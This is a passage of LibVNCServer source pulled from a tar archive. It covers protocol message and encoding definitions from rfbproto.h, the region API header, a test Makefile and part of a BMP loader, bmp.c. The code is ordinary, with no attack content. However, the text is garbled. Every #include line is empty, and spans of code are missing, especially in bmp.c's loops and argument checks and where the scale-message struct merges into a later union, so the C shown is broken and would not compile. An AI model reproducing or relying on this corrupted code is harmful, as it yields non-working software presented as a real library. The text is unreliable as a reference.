subrectangle is specified in two bytes. The * Pack macros below can be used to generate the two bytes from x, y, w, h, * and the Extract macros can be used to extract the x, y, w, h values from * the two bytes. */ #define rfbHextileRaw (1 << 0) #define rfbHextileBackgroundSpecified (1 << 1) #define rfbHextileForegroundSpecified (1 << 2) #define rfbHextileAnySubrects (1 << 3) #define rfbHextileSubrectsColoured (1 << 4) #define rfbHextilePackXY(x,y) (((x) << 4) | (y)) #define rfbHextilePackWH(w,h) ((((w)-1) << 4) | ((h)-1)) #define rfbHextileExtractX(byte) ((byte) >> 4) #define rfbHextileExtractY(byte) ((byte) & 0xf) #define rfbHextileExtractW(byte) (((byte) >> 4) + 1) #define rfbHextileExtractH(byte) (((byte) & 0xf) + 1) /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * zlib - zlib compressed Encoding. We have an rfbZlibHeader structure * giving the number of bytes following. Finally the data follows is * zlib compressed version of the raw pixel data as negotiated. * (NOTE: also used by Ultra Encoding) */ typedef struct { uint32_t nBytes; } rfbZlibHeader; #define sz_rfbZlibHeader 4 #ifdef LIBVNCSERVER_HAVE_LIBZ /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * Tight and TightPng Encoding. * *-- TightPng is like Tight but basic compression is not used, instead PNG * data is sent. * *-- The first byte of each Tight-encoded rectangle is a "compression control * byte". Its format is as follows (bit 0 is the least significant one): * * bit 0: if 1, then compression stream 0 should be reset; * bit 1: if 1, then compression stream 1 should be reset; * bit 2: if 1, then compression stream 2 should be reset; * bit 3: if 1, then compression stream 3 should be reset; * bits 7-4: if 1000 (0x08), then the compression type is "fill", * if 1001 (0x09), then the compression type is "jpeg", * (Tight only) if 1010 (0x0A), then the compression type is * "basic" and no Zlib compression was used, * (Tight only) if 1110 (0x0E), then the compression type is * "basic", no Zlib compression was used, and a "filter id" byte * follows this byte, * (TightPng only) if 1010 (0x0A), then the compression type is * "png", * if 0xxx, then the compression type is "basic" and Zlib * compression was used, * values greater than 1010 are not valid. * * If the compression type is "basic" and Zlib compression was used, then bits * 6..4 of the compression control byte (those xxx in 0xxx) specify the * following: * * bits 5-4: decimal representation is the index of a particular zlib * stream which should be used for decompressing the data; * bit 6: if 1, then a "filter id" byte is following this byte. * *-- The data that follows after the compression control byte described * above depends on the compression type ("fill", "jpeg", "png" or "basic"). * *-- If the compression type is "fill", then the only pixel value follows, in * client pixel format (see NOTE 1). This value applies to all pixels of the * rectangle. * *-- If the compression type is "jpeg" or "png", the following data stream * looks like this: * * 1..3 bytes: data size (N) in compact representation; * N bytes: JPEG or PNG image. * * Data size is compactly represented in one, two or three bytes, according * to the following scheme: * * 0xxxxxxx (for values 0..127) * 1xxxxxxx 0yyyyyyy (for values 128..16383) * 1xxxxxxx 1yyyyyyy zzzzzzzz (for values 16384..4194303) * * Here each character denotes one bit, xxxxxxx are the least significant 7 * bits of the value (bits 0-6), yyyyyyy are bits 7-13, and zzzzzzzz are the * most significant 8 bits (bits 14-21). For example, decimal value 10000 * should be represented as two bytes: binary 10010000 01001110, or * hexadecimal 90 4E. * *-- If the compression type is "basic" and bit 6 of the compression control * byte was set to 1, then the next (second) byte specifies "filter id" which * tells the decoder what filter type was used by the encoder to pre-process * pixel data before the compression. The "filter id" byte can be one of the * following: * * 0: no filter ("copy" filter); * 1: "palette" filter; * 2: "gradient" filter. * *-- If bit 6 of the compression control byte is set to 0 (no "filter id" * byte), or if the filter id is 0, then raw pixel values in the client * format (see NOTE 1) will be compressed. See below details on the * compression. * *-- The "gradient" filter pre-processes pixel data with a simple algorithm * which converts each color component to a difference between a "predicted" * intensity and the actual intensity. Such a technique does not affect * uncompressed data size, but helps to compress photo-like images better. * Pseudo-code for converting intensities to differences is the following: * * P[i,j] := V[i-1,j] + V[i,j-1] - V[i-1,j-1]; * if (P[i,j] < 0) then P[i,j] := 0; * if (P[i,j] > MAX) then P[i,j] := MAX; * D[i,j] := V[i,j] - P[i,j]; * * Here V[i,j] is the intensity of a color component for a pixel at * coordinates (i,j). MAX is the maximum value of intensity for a color * component. * *-- The "palette" filter converts true-color pixel data to indexed colors * and a palette which can consist of 2..256 colors. If the number of colors * is 2, then each pixel is encoded in 1 bit, otherwise 8 bits is used to * encode one pixel. 1-bit encoding is performed such way that the most * significant bits correspond to the leftmost pixels, and each raw of pixels * is aligned to the byte boundary. When "palette" filter is used, the * palette is sent before the pixel data. The palette begins with an unsigned * byte which value is the number of colors in the palette minus 1 (i.e. 1 * means 2 colors, 255 means 256 colors in the palette). Then follows the * palette itself which consist of pixel values in client pixel format (see * NOTE 1). * *-- The pixel data is compressed using the zlib library. But if the data * size after applying the filter but before the compression is less then 12, * then the data is sent as is, uncompressed. Four separate zlib streams * (0..3) can be used and the decoder should read the actual stream id from * the compression control byte (see NOTE 2). * * If the compression is not used, then the pixel data is sent as is, * otherwise the data stream looks like this: * * 1..3 bytes: data size (N) in compact representation; * N bytes: zlib-compressed data. * * Data size is compactly represented in one, two or three bytes, just like * in the "jpeg" compression method (see above). * *-- NOTE 1. If the color depth is 24, and all three color components are * 8-bit wide, then one pixel in Tight encoding is always represented by * three bytes, where the first byte is red component, the second byte is * green component, and the third byte is blue component of the pixel color * value. This applies to colors in palettes as well. * *-- NOTE 2. The decoder must reset compression streams' states before * decoding the rectangle, if some of bits 0,1,2,3 in the compression control * byte are set to 1. Note that the decoder must reset zlib streams even if * the compression type is "fill", "jpeg" or "png". * *-- NOTE 3. The "gradient" filter and "jpeg" compression may be used only * when bits-per-pixel value is either 16 or 32, not 8. * *-- NOTE 4. The width of any Tight-encoded rectangle cannot exceed 2048 * pixels. If a rectangle is wider, it must be split into several rectangles * and each one should be encoded separately. * */ #define rfbTightExplicitFilter 0x04 #define rfbTightFill 0x08 #define rfbTightJpeg 0x09 #define rfbTightNoZlib 0x0A #define rfbTightPng 0x0A #define rfbTightMaxSubencoding 0x0A /* Filters to improve compression efficiency */ #define rfbTightFilterCopy 0x00 #define rfbTightFilterPalette 0x01 #define rfbTightFilterGradient 0x02 #endif /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * XCursor encoding. This is a special encoding used to transmit X-style * cursor shapes from server to clients. Note that for this encoding, * coordinates in rfbFramebufferUpdateRectHeader structure hold hotspot * position (r.x, r.y) and cursor size (r.w, r.h). If (w * h != 0), two RGB * samples are sent after header in the rfbXCursorColors structure. They * denote foreground and background colors of the cursor. If a client * supports only black-and-white cursors, it should ignore these colors and * assume that foreground is black and background is white. Next, two bitmaps * (1 bits per pixel) follow: first one with actual data (value 0 denotes * background color, value 1 denotes foreground color), second one with * transparency data (bits with zero value mean that these pixels are * transparent). Both bitmaps represent cursor data in a byte stream, from * left to right, from top to bottom, and each row is byte-aligned. Most * significant bits correspond to leftmost pixels. The number of bytes in * each row can be calculated as ((w + 7) / 8). If (w * h == 0), cursor * should be hidden (or default local cursor should be set by the client). */ typedef struct { uint8_t foreRed; uint8_t foreGreen; uint8_t foreBlue; uint8_t backRed; uint8_t backGreen; uint8_t backBlue; } rfbXCursorColors; #define sz_rfbXCursorColors 6 /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * RichCursor encoding. This is a special encoding used to transmit cursor * shapes from server to clients. It is similar to the XCursor encoding but * uses client pixel format instead of two RGB colors to represent cursor * image. For this encoding, coordinates in rfbFramebufferUpdateRectHeader * structure hold hotspot position (r.x, r.y) and cursor size (r.w, r.h). * After header, two pixmaps follow: first one with cursor image in current * client pixel format (like in raw encoding), second with transparency data * (1 bit per pixel, exactly the same format as used for transparency bitmap * in the XCursor encoding). If (w * h == 0), cursor should be hidden (or * default local cursor should be set by the client). */ /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * ZRLE - encoding combining Zlib compression, tiling, palettisation and * run-length encoding. */ typedef struct { uint32_t length; } rfbZRLEHeader; #define sz_rfbZRLEHeader 4 #define rfbZRLETileWidth 64 #define rfbZRLETileHeight 64 /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * ZLIBHEX - zlib compressed Hextile Encoding. Essentially, this is the * hextile encoding with zlib compression on the tiles that can not be * efficiently encoded with one of the other hextile subencodings. The * new zlib subencoding uses two bytes to specify the length of the * compressed tile and then the compressed data follows. As with the * raw sub-encoding, the zlib subencoding invalidates the other * values, if they are also set. */ #define rfbHextileZlibRaw (1 << 5) #define rfbHextileZlibHex (1 << 6) #define rfbHextileZlibMono (1 << 7) /*----------------------------------------------------------------------------- * SetColourMapEntries - these messages are only sent if the pixel * format uses a "colour map" (i.e. trueColour false) and the client has not * fixed the entire colour map using FixColourMapEntries. In addition they * will only start being sent after the client has sent its first * FramebufferUpdateRequest. So if the client always tells the server to use * trueColour then it never needs to process this type of message. */ typedef struct { uint8_t type; /* always rfbSetColourMapEntries */ uint8_t pad; uint16_t firstColour; uint16_t nColours; /* Followed by nColours * 3 * uint16_t r1, g1, b1, r2, g2, b2, r3, g3, b3, ..., rn, bn, gn */ } rfbSetColourMapEntriesMsg; #define sz_rfbSetColourMapEntriesMsg 6 /*----------------------------------------------------------------------------- * Bell - ring a bell on the client if it has one. */ typedef struct { uint8_t type; /* always rfbBell */ } rfbBellMsg; #define sz_rfbBellMsg 1 /*----------------------------------------------------------------------------- * ServerCutText - the server has new text in its cut buffer. */ typedef struct { uint8_t type; /* always rfbServerCutText */ uint8_t pad1; uint16_t pad2; uint32_t length; /* followed by char text[length] */ } rfbServerCutTextMsg; #define sz_rfbServerCutTextMsg 8 /*----------------------------------------------------------------------------- * // Modif sf@2002 * FileTransferMsg - The client sends FileTransfer message. * Bidirectional message - Files can be sent from client to server & vice versa */ typedef struct _rfbFileTransferMsg { uint8_t type; /* always rfbFileTransfer */ uint8_t contentType; /* See defines below */ uint8_t contentParam;/* Other possible content classification (Dir or File name, etc..) */ uint8_t pad; /* It appears that UltraVNC *forgot* to Swap16IfLE(contentParam) */ uint32_t size; /* FileSize or packet index or error or other */ /* uint32_t sizeH; Additional 32Bits params to handle big values. Only for V2 (we want backward compatibility between all V1 versions) */ uint32_t length; /* followed by data char text[length] */ } rfbFileTransferMsg; #define sz_rfbFileTransferMsg 12 #define rfbFileTransferVersion 2 /* v1 is the old FT version ( <= 1.0.0 RC18 versions) */ /* FileTransfer Content types and Params defines */ #define rfbDirContentRequest 1 /* Client asks for the content of a given Server directory */ #define rfbDirPacket 2 /* Full directory name or full file name. */ /* Null content means end of Directory */ #define rfbFileTransferRequest 3 /* Client asks the server for the transfer of a given file */ #define rfbFileHeader 4 /* First packet of a file transfer, containing file's features */ #define rfbFilePacket 5 /* One chunk of the file */ #define rfbEndOfFile 6 /* End of file transfer (the file has been received or error) */ #define rfbAbortFileTransfer 7 /* The file transfer must be aborted, whatever the state */ #define rfbFileTransferOffer 8 /* The client offers to send a file to the server */ #define rfbFileAcceptHeader 9 /* The server accepts or rejects the file */ #define rfbCommand 10 /* The Client sends a simple command (File Delete, Dir create etc...) */ #define rfbCommandReturn 11 /* The Client receives the server's answer about a simple command */ #define rfbFileChecksums 12 /* The zipped checksums of the destination file (Delta Transfer) */ #define rfbFileTransferAccess 14 /* Request FileTransfer authorization */ /* rfbDirContentRequest client Request - content params */ #define rfbRDirContent 1 /* Request a Server Directory contents */ #define rfbRDrivesList 2 /* Request the server's drives list */ #define rfbRDirRecursiveList 3 /* Request a server directory content recursive sorted list */ #define rfbRDirRecursiveSize 4 /* Request a server directory content recursive size */ /* rfbDirPacket & rfbCommandReturn server Answer - content params */ #define rfbADirectory 1 /* Reception of a directory name */ #define rfbAFile 2 /* Reception of a file name */ #define rfbADrivesList 3 /* Reception of a list of drives */ #define rfbADirCreate 4 /* Response to a create dir command */ #define rfbADirDelete 5 /* Response to a delete dir command */ #define rfbAFileCreate 6 /* Response to a create file command */ #define rfbAFileDelete 7 /* Response to a delete file command */ #define rfbAFileRename 8 /* Response to a rename file command */ #define rfbADirRename 9 /* Response to a rename dir command */ #define rfbADirRecursiveListItem 10 #define rfbADirRecursiveSize 11 /* rfbCommand Command - content params */ #define rfbCDirCreate 1 /* Request the server to create the given directory */ #define rfbCDirDelete 2 /* Request the server to delete the given directory */ #define rfbCFileCreate 3 /* Request the server to create the given file */ #define rfbCFileDelete 4 /* Request the server to delete the given file */ #define rfbCFileRename 5 /* Request the server to rename the given file */ #define rfbCDirRename 6 /* Request the server to rename the given directory */ /* Errors - content params or "size" field */ #define rfbRErrorUnknownCmd 1 /* Unknown FileTransfer command. */ #define rfbRErrorCmd 0xFFFFFFFF/* Error when a command fails on remote side (ret in "size" field) */ #define sz_rfbBlockSize 8192 /* Size of a File Transfer packet (before compression) */ #define rfbZipDirectoryPrefix "!UVNCDIR-\0" /* Transferred directory are zipped in a file with this prefix. Must end with "-" */ #define sz_rfbZipDirectoryPrefix 9 #define rfbDirPrefix "[ " #define rfbDirSuffix " ]" /*----------------------------------------------------------------------------- * Modif sf@2002 * TextChatMsg - Utilized to order the TextChat mode on server or client * Bidirectional message */ typedef struct _rfbTextChatMsg { uint8_t type; /* always rfbTextChat */ uint8_t pad1; /* Could be used later as an additionnal param */ uint16_t pad2; /* Could be used later as text offset, for instance */ uint32_t length; /* Specific values for Open, close, finished (-1, -2, -3) */ /* followed by char text[length] */ } rfbTextChatMsg; #define sz_rfbTextChatMsg 8 #define rfbTextMaxSize 4096 #define rfbTextChatOpen 0xFFFFFFFF #define rfbTextChatClose 0xFFFFFFFE #define rfbTextChatFinished 0xFFFFFFFD /*----------------------------------------------------------------------------- * Xvp Message * Bidirectional message * A server which supports the xvp extension declares this by sending a message * with an Xvp_INIT xvp-message-code when it receives a request from the client * to use the xvp Pseudo-encoding. The server must specify in this message the * highest xvp-extension-version it supports: the client may assume that the * server supports all versions from 1 up to this value. The client is then * free to use any supported version. Currently, only version 1 is defined. * * A server which subsequently receives an xvp Client Message requesting an * operation which it is unable to perform, informs the client of this by * sending a message with an Xvp_FAIL xvp-message-code, and the same * xvp-extension-version as included in the client's operation request. * * A client supporting the xvp extension sends this to request that the server * initiate a clean shutdown, clean reboot or abrupt reset of the system whose * framebuffer the client is displaying. */ typedef struct { uint8_t type; /* always rfbXvp */ uint8_t pad; uint8_t version; /* xvp extension version */ uint8_t code; /* xvp message code */ } rfbXvpMsg; #define sz_rfbXvpMsg (4) /* server message codes */ #define rfbXvp_Fail 0 #define rfbXvp_Init 1 /* client message codes */ #define rfbXvp_Shutdown 2 #define rfbXvp_Reboot 3 #define rfbXvp_Reset 4 /*----------------------------------------------------------------------------- * Modif sf@2002 * ResizeFrameBuffer - The Client must change the size of its framebuffer */ typedef struct _rfbResizeFrameBufferMsg { uint8_t type; /* always rfbResizeFrameBuffer */ uint8_t pad1; uint16_t framebufferWidth; /* FrameBuffer width */ uint16_t framebufferHeigth; /* FrameBuffer height */ } rfbResizeFrameBufferMsg; #define sz_rfbResizeFrameBufferMsg 6 /*----------------------------------------------------------------------------- * Copyright (C) 2001 Harakan Software * PalmVNC 1.4 & 2.? ResizeFrameBuffer message * ReSizeFrameBuffer - tell the RFB client to alter its framebuffer, either * due to a resize of the server desktop or a client-requested scaling factor. * The pixel format remains unchanged. */ typedef struct { uint8_t type; /* always rfbReSizeFrameBuffer */ uint8_t pad1; uint16_t desktop_w; /* Desktop width */ uint16_t desktop_h; /* Desktop height */ uint16_t buffer_w; /* FrameBuffer width */ uint16_t buffer_h; /* Framebuffer height */ uint16_t pad2; } rfbPalmVNCReSizeFrameBufferMsg; #define sz_rfbPalmVNCReSizeFrameBufferMsg (12) /*----------------------------------------------------------------------------- * Union of all server->client messages. */ typedef union { uint8_t type; rfbFramebufferUpdateMsg fu; rfbSetColourMapEntriesMsg scme; rfbBellMsg b; rfbServerCutTextMsg sct; rfbResizeFrameBufferMsg rsfb; rfbPalmVNCReSizeFrameBufferMsg prsfb; rfbFileTransferMsg ft; rfbTextChatMsg tc; rfbXvpMsg xvp; } rfbServerToClientMsg; /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * RDV Cache Encoding. * special is not used at this point, can be used to reset cache or other specials * just put it to make sure we don't have to change the encoding again. */ typedef struct { uint16_t special; } rfbCacheRect; #define sz_rfbCacheRect 2 /***************************************************************************** * * Message definitions (client -> server) * *****************************************************************************/ /*----------------------------------------------------------------------------- * SetPixelFormat - tell the RFB server the format in which the client wants * pixels sent. */ typedef struct { uint8_t type; /* always rfbSetPixelFormat */ uint8_t pad1; uint16_t pad2; rfbPixelFormat format; } rfbSetPixelFormatMsg; #define sz_rfbSetPixelFormatMsg (sz_rfbPixelFormat + 4) /*----------------------------------------------------------------------------- * FixColourMapEntries - when the pixel format uses a "colour map", fix * read-only colour map entries. * * ***************** NOT CURRENTLY SUPPORTED ***************** */ typedef struct { uint8_t type; /* always rfbFixColourMapEntries */ uint8_t pad; uint16_t firstColour; uint16_t nColours; /* Followed by nColours * 3 * uint16_t r1, g1, b1, r2, g2, b2, r3, g3, b3, ..., rn, bn, gn */ } rfbFixColourMapEntriesMsg; #define sz_rfbFixColourMapEntriesMsg 6 /*----------------------------------------------------------------------------- * SetEncodings - tell the RFB server which encoding types we accept. Put them * in order of preference, if we have any. We may always receive raw * encoding, even if we don't specify it here. */ typedef struct { uint8_t type; /* always rfbSetEncodings */ uint8_t pad; uint16_t nEncodings; /* followed by nEncodings * uint32_t encoding types */ } rfbSetEncodingsMsg; #define sz_rfbSetEncodingsMsg 4 /*----------------------------------------------------------------------------- * FramebufferUpdateRequest - request for a framebuffer update. If incremental * is true then the client just wants the changes since the last update. If * false then it wants the whole of the specified rectangle. */ typedef struct { uint8_t type; /* always rfbFramebufferUpdateRequest */ uint8_t incremental; uint16_t x; uint16_t y; uint16_t w; uint16_t h; } rfbFramebufferUpdateRequestMsg; #define sz_rfbFramebufferUpdateRequestMsg 10 /*----------------------------------------------------------------------------- * KeyEvent - key press or release * * Keys are specified using the "keysym" values defined by the X Window System. * For most ordinary keys, the keysym is the same as the corresponding ASCII * value. Other common keys are: * * BackSpace 0xff08 * Tab 0xff09 * Return or Enter 0xff0d * Escape 0xff1b * Insert 0xff63 * Delete 0xffff * Home 0xff50 * End 0xff57 * Page Up 0xff55 * Page Down 0xff56 * Left 0xff51 * Up 0xff52 * Right 0xff53 * Down 0xff54 * F1 0xffbe * F2 0xffbf * ... ... * F12 0xffc9 * Shift 0xffe1 * Control 0xffe3 * Meta 0xffe7 * Alt 0xffe9 */ typedef struct { uint8_t type; /* always rfbKeyEvent */ uint8_t down; /* true if down (press), false if up */ uint16_t pad; uint32_t key; /* key is specified as an X keysym */ } rfbKeyEventMsg; #define sz_rfbKeyEventMsg 8 /*----------------------------------------------------------------------------- * PointerEvent - mouse/pen move and/or button press. */ typedef struct { uint8_t type; /* always rfbPointerEvent */ uint8_t buttonMask; /* bits 0-7 are buttons 1-8, 0=up, 1=down */ uint16_t x; uint16_t y; } rfbPointerEventMsg; #define rfbButton1Mask 1 #define rfbButton2Mask 2 #define rfbButton3Mask 4 #define rfbButton4Mask 8 #define rfbButton5Mask 16 /* RealVNC 335 method */ #define rfbWheelUpMask rfbButton4Mask #define rfbWheelDownMask rfbButton5Mask #define sz_rfbPointerEventMsg 6 /*----------------------------------------------------------------------------- * ClientCutText - the client has new text in its cut buffer. */ typedef struct { uint8_t type; /* always rfbClientCutText */ uint8_t pad1; uint16_t pad2; uint32_t length; /* followed by char text[length] */ } rfbClientCutTextMsg; #define sz_rfbClientCutTextMsg 8 /*----------------------------------------------------------------------------- * sf@2002 - Set Server Scale * SetServerScale - Server must change the scale of the client buffer. */ typedef struct _rfbSetScaleMsg { uint8_t type; /* always rfbSetScale */ uint8_t scale; /* Scale value 1server messages. */ typedef union { uint8_t type; rfbSetPixelFormatMsg spf; rfbFixColourMapEntriesMsg fcme; rfbSetEncodingsMsg se; rfbFramebufferUpdateRequestMsg fur; rfbKeyEventMsg ke; rfbPointerEventMsg pe; rfbClientCutTextMsg cct; rfbSetScaleMsg ssc; rfbPalmVNCSetScaleFactorMsg pssf; rfbSetServerInputMsg sim; rfbFileTransferMsg ft; rfbSetSWMsg sw; rfbTextChatMsg tc; rfbXvpMsg xvp; } rfbClientToServerMsg; /* * vncauth.h - describes the functions provided by the vncauth library. */ #define MAXPWLEN 8 #define CHALLENGESIZE 16 extern int rfbEncryptAndStorePasswd(char *passwd, char *fname); extern char *rfbDecryptPasswdFromFile(char *fname); extern void rfbRandomBytes(unsigned char *bytes); extern void rfbEncryptBytes(unsigned char *bytes, char *passwd); #endif libvncserver-LibVNCServer-0.9.11/rfb/rfbregion.h000066400000000000000000000035231303145525000214500ustar00rootroot00000000000000#ifndef SRAREGION_H #define SRAREGION_H /* -=- SRA - Simple Region Algorithm * A simple rectangular region implementation. * Copyright (c) 2001 James "Wez" Weatherall, Johannes E. Schindelin */ /* -=- sraRect */ typedef struct _rect { int x1; int y1; int x2; int y2; } sraRect; typedef struct sraRegion sraRegion; /* -=- Region manipulation functions */ extern sraRegion *sraRgnCreate(); extern sraRegion *sraRgnCreateRect(int x1, int y1, int x2, int y2); extern sraRegion *sraRgnCreateRgn(const sraRegion *src); extern void sraRgnDestroy(sraRegion *rgn); extern void sraRgnMakeEmpty(sraRegion *rgn); extern rfbBool sraRgnAnd(sraRegion *dst, const sraRegion *src); extern void sraRgnOr(sraRegion *dst, const sraRegion *src); extern rfbBool sraRgnSubtract(sraRegion *dst, const sraRegion *src); extern void sraRgnOffset(sraRegion *dst, int dx, int dy); extern rfbBool sraRgnPopRect(sraRegion *region, sraRect *rect, unsigned long flags); extern unsigned long sraRgnCountRects(const sraRegion *rgn); extern rfbBool sraRgnEmpty(const sraRegion *rgn); extern sraRegion *sraRgnBBox(const sraRegion *src); /* -=- rectangle iterator */ typedef struct sraRectangleIterator { rfbBool reverseX,reverseY; int ptrSize,ptrPos; struct sraSpan** sPtrs; } sraRectangleIterator; extern sraRectangleIterator *sraRgnGetIterator(sraRegion *s); extern sraRectangleIterator *sraRgnGetReverseIterator(sraRegion *s,rfbBool reverseX,rfbBool reverseY); extern rfbBool sraRgnIteratorNext(sraRectangleIterator *i,sraRect *r); extern void sraRgnReleaseIterator(sraRectangleIterator *i); void sraRgnPrint(const sraRegion *s); /* -=- Rectangle clipper (for speed) */ extern rfbBool sraClipRect(int *x, int *y, int *w, int *h, int cx, int cy, int cw, int ch); extern rfbBool sraClipRect2(int *x, int *y, int *x2, int *y2, int cx, int cy, int cx2, int cy2); #endif libvncserver-LibVNCServer-0.9.11/test/000077500000000000000000000000001303145525000175255ustar00rootroot00000000000000libvncserver-LibVNCServer-0.9.11/test/Makefile.am000066400000000000000000000014121303145525000215570ustar00rootroot00000000000000check_PROGRAMS = if HAVE_LIBJPEG # TurboJPEG wrapper tests check_PROGRAMS += tjunittest tjbench tjunittest_SOURCES=tjunittest.c ../common/turbojpeg.c ../common/turbojpeg.h \ tjutil.c tjutil.h tjbench_SOURCES=tjbench.c ../common/turbojpeg.c ../common/turbojpeg.h \ tjutil.c tjutil.h bmp.c bmp.h tjbench_LDADD=$(LDADD) -lm endif AM_CPPFLAGS = -I$(top_srcdir) -I$(top_srcdir)/common LDADD = ../libvncserver/libvncserver.la ../libvncclient/libvncclient.la @WSOCKLIB@ if HAVE_LIBPTHREAD BACKGROUND_TEST=blooptest ENCODINGS_TEST=encodingstest endif copyrecttest_LDADD=$(LDADD) -lm check_PROGRAMS += $(ENCODINGS_TEST) cargstest copyrecttest $(BACKGROUND_TEST) \ cursortest test: encodingstest$(EXEEXT) cargstest$(EXEEXT) copyrecttest$(EXEEXT) ./encodingstest && ./cargstest libvncserver-LibVNCServer-0.9.11/test/blooptest.c000066400000000000000000000000761303145525000217070ustar00rootroot00000000000000#define BACKGROUND_LOOP_TEST #include "../examples/example.c" libvncserver-LibVNCServer-0.9.11/test/bmp.c000066400000000000000000000274351303145525000204620ustar00rootroot00000000000000/* Copyright (C)2004 Landmark Graphics Corporation * Copyright (C)2005 Sun Microsystems, Inc. * Copyright (C)2010, 2012 D. R. Commander * * This library is free software and may be redistributed and/or modified under * the terms of the wxWindows Library License, Version 3.1 or (at your option) * any later version. The full license is in the LICENSE.txt file included * with this distribution. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * wxWindows Library License for more details. */ #include #include #include #include #include #include #include #ifdef _WIN32 #include #else #include #endif #include "./tjutil.h" #include "./bmp.h" #define byteswap(i) ( \ (((i) & 0xff000000) >> 24) | \ (((i) & 0x00ff0000) >> 8) | \ (((i) & 0x0000ff00) << 8) | \ (((i) & 0x000000ff) << 24) ) #define byteswap16(i) ( \ (((i) & 0xff00) >> 8) | \ (((i) & 0x00ff) << 8) ) static __inline int littleendian(void) { unsigned int value=1; unsigned char *ptr=(unsigned char *)(&value); if(ptr[0]==1 && ptr[3]==0) return 1; else return 0; } #ifndef BI_BITFIELDS #define BI_BITFIELDS 3L #endif #ifndef BI_RGB #define BI_RGB 0L #endif #define BMPHDRSIZE 54 typedef struct _bmphdr { unsigned short bfType; unsigned int bfSize; unsigned short bfReserved1, bfReserved2; unsigned int bfOffBits; unsigned int biSize; int biWidth, biHeight; unsigned short biPlanes, biBitCount; unsigned int biCompression, biSizeImage; int biXPelsPerMeter, biYPelsPerMeter; unsigned int biClrUsed, biClrImportant; } bmphdr; static const char *__bmperr="No error"; static const int ps[BMPPIXELFORMATS]={3, 4, 3, 4, 4, 4}; static const int roffset[BMPPIXELFORMATS]={0, 0, 2, 2, 3, 1}; static const int goffset[BMPPIXELFORMATS]={1, 1, 1, 1, 2, 2}; static const int boffset[BMPPIXELFORMATS]={2, 2, 0, 0, 1, 3}; #define _throw(m) {__bmperr=m; retcode=-1; goto finally;} #define _unix(f) {if((f)==-1) _throw(strerror(errno));} #define _catch(f) {if((f)==-1) {retcode=-1; goto finally;}} #define readme(fd, addr, size) \ if((bytesread=read(fd, addr, (size)))==-1) _throw(strerror(errno)); \ if(bytesread!=(size)) _throw("Read error"); void pixelconvert(unsigned char *srcbuf, enum BMPPIXELFORMAT srcformat, int srcpitch, unsigned char *dstbuf, enum BMPPIXELFORMAT dstformat, int dstpitch, int w, int h, int flip) { unsigned char *srcptr, *srcptr0, *dstptr, *dstptr0; int i, j; srcptr=flip? &srcbuf[srcpitch*(h-1)]:srcbuf; for(j=0, dstptr=dstbuf; jBMPPIXELFORMATS-1 || align<1) _throw("invalid argument to loadbmp()"); if((align&(align-1))!=0) _throw("Alignment must be a power of 2"); _unix(fd=open(filename, flags)); readme(fd, &bh.bfType, sizeof(unsigned short)); if(!littleendian()) bh.bfType=byteswap16(bh.bfType); if(bh.bfType==0x3650) { _catch(loadppm(&fd, buf, w, h, f, align, dstbottomup, 0)); goto finally; } if(bh.bfType==0x3350) { _catch(loadppm(&fd, buf, w, h, f, align, dstbottomup, 1)); goto finally; } readme(fd, &bh.bfSize, sizeof(unsigned int)); readme(fd, &bh.bfReserved1, sizeof(unsigned short)); readme(fd, &bh.bfReserved2, sizeof(unsigned short)); readme(fd, &bh.bfOffBits, sizeof(unsigned int)); readme(fd, &bh.biSize, sizeof(unsigned int)); readme(fd, &bh.biWidth, sizeof(int)); readme(fd, &bh.biHeight, sizeof(int)); readme(fd, &bh.biPlanes, sizeof(unsigned short)); readme(fd, &bh.biBitCount, sizeof(unsigned short)); readme(fd, &bh.biCompression, sizeof(unsigned int)); readme(fd, &bh.biSizeImage, sizeof(unsigned int)); readme(fd, &bh.biXPelsPerMeter, sizeof(int)); readme(fd, &bh.biYPelsPerMeter, sizeof(int)); readme(fd, &bh.biClrUsed, sizeof(unsigned int)); readme(fd, &bh.biClrImportant, sizeof(unsigned int)); if(!littleendian()) { bh.bfSize=byteswap(bh.bfSize); bh.bfOffBits=byteswap(bh.bfOffBits); bh.biSize=byteswap(bh.biSize); bh.biWidth=byteswap(bh.biWidth); bh.biHeight=byteswap(bh.biHeight); bh.biPlanes=byteswap16(bh.biPlanes); bh.biBitCount=byteswap16(bh.biBitCount); bh.biCompression=byteswap(bh.biCompression); bh.biSizeImage=byteswap(bh.biSizeImage); bh.biXPelsPerMeter=byteswap(bh.biXPelsPerMeter); bh.biYPelsPerMeter=byteswap(bh.biYPelsPerMeter); bh.biClrUsed=byteswap(bh.biClrUsed); bh.biClrImportant=byteswap(bh.biClrImportant); } if(bh.bfType!=0x4d42 || bh.bfOffBitsBMPPIXELFORMATS-1 || srcpitch<0) _throw("bad argument to savebmp()"); if(srcpitch==0) srcpitch=w*ps[f]; if((temp=strrchr(filename, '.'))!=NULL) { if(!strcasecmp(temp, ".ppm")) return saveppm(filename, buf, w, h, f, srcpitch, srcbottomup); } _unix(fd=open(filename, flags, mode)); dstpitch=((w*3)+3)&(~3); bh.bfType=0x4d42; bh.bfSize=BMPHDRSIZE+dstpitch*h; bh.bfReserved1=0; bh.bfReserved2=0; bh.bfOffBits=BMPHDRSIZE; bh.biSize=40; bh.biWidth=w; bh.biHeight=h; bh.biPlanes=0; bh.biBitCount=24; bh.biCompression=BI_RGB; bh.biSizeImage=0; bh.biXPelsPerMeter=0; bh.biYPelsPerMeter=0; bh.biClrUsed=0; bh.biClrImportant=0; if(!littleendian()) { bh.bfType=byteswap16(bh.bfType); bh.bfSize=byteswap(bh.bfSize); bh.bfOffBits=byteswap(bh.bfOffBits); bh.biSize=byteswap(bh.biSize); bh.biWidth=byteswap(bh.biWidth); bh.biHeight=byteswap(bh.biHeight); bh.biPlanes=byteswap16(bh.biPlanes); bh.biBitCount=byteswap16(bh.biBitCount); bh.biCompression=byteswap(bh.biCompression); bh.biSizeImage=byteswap(bh.biSizeImage); 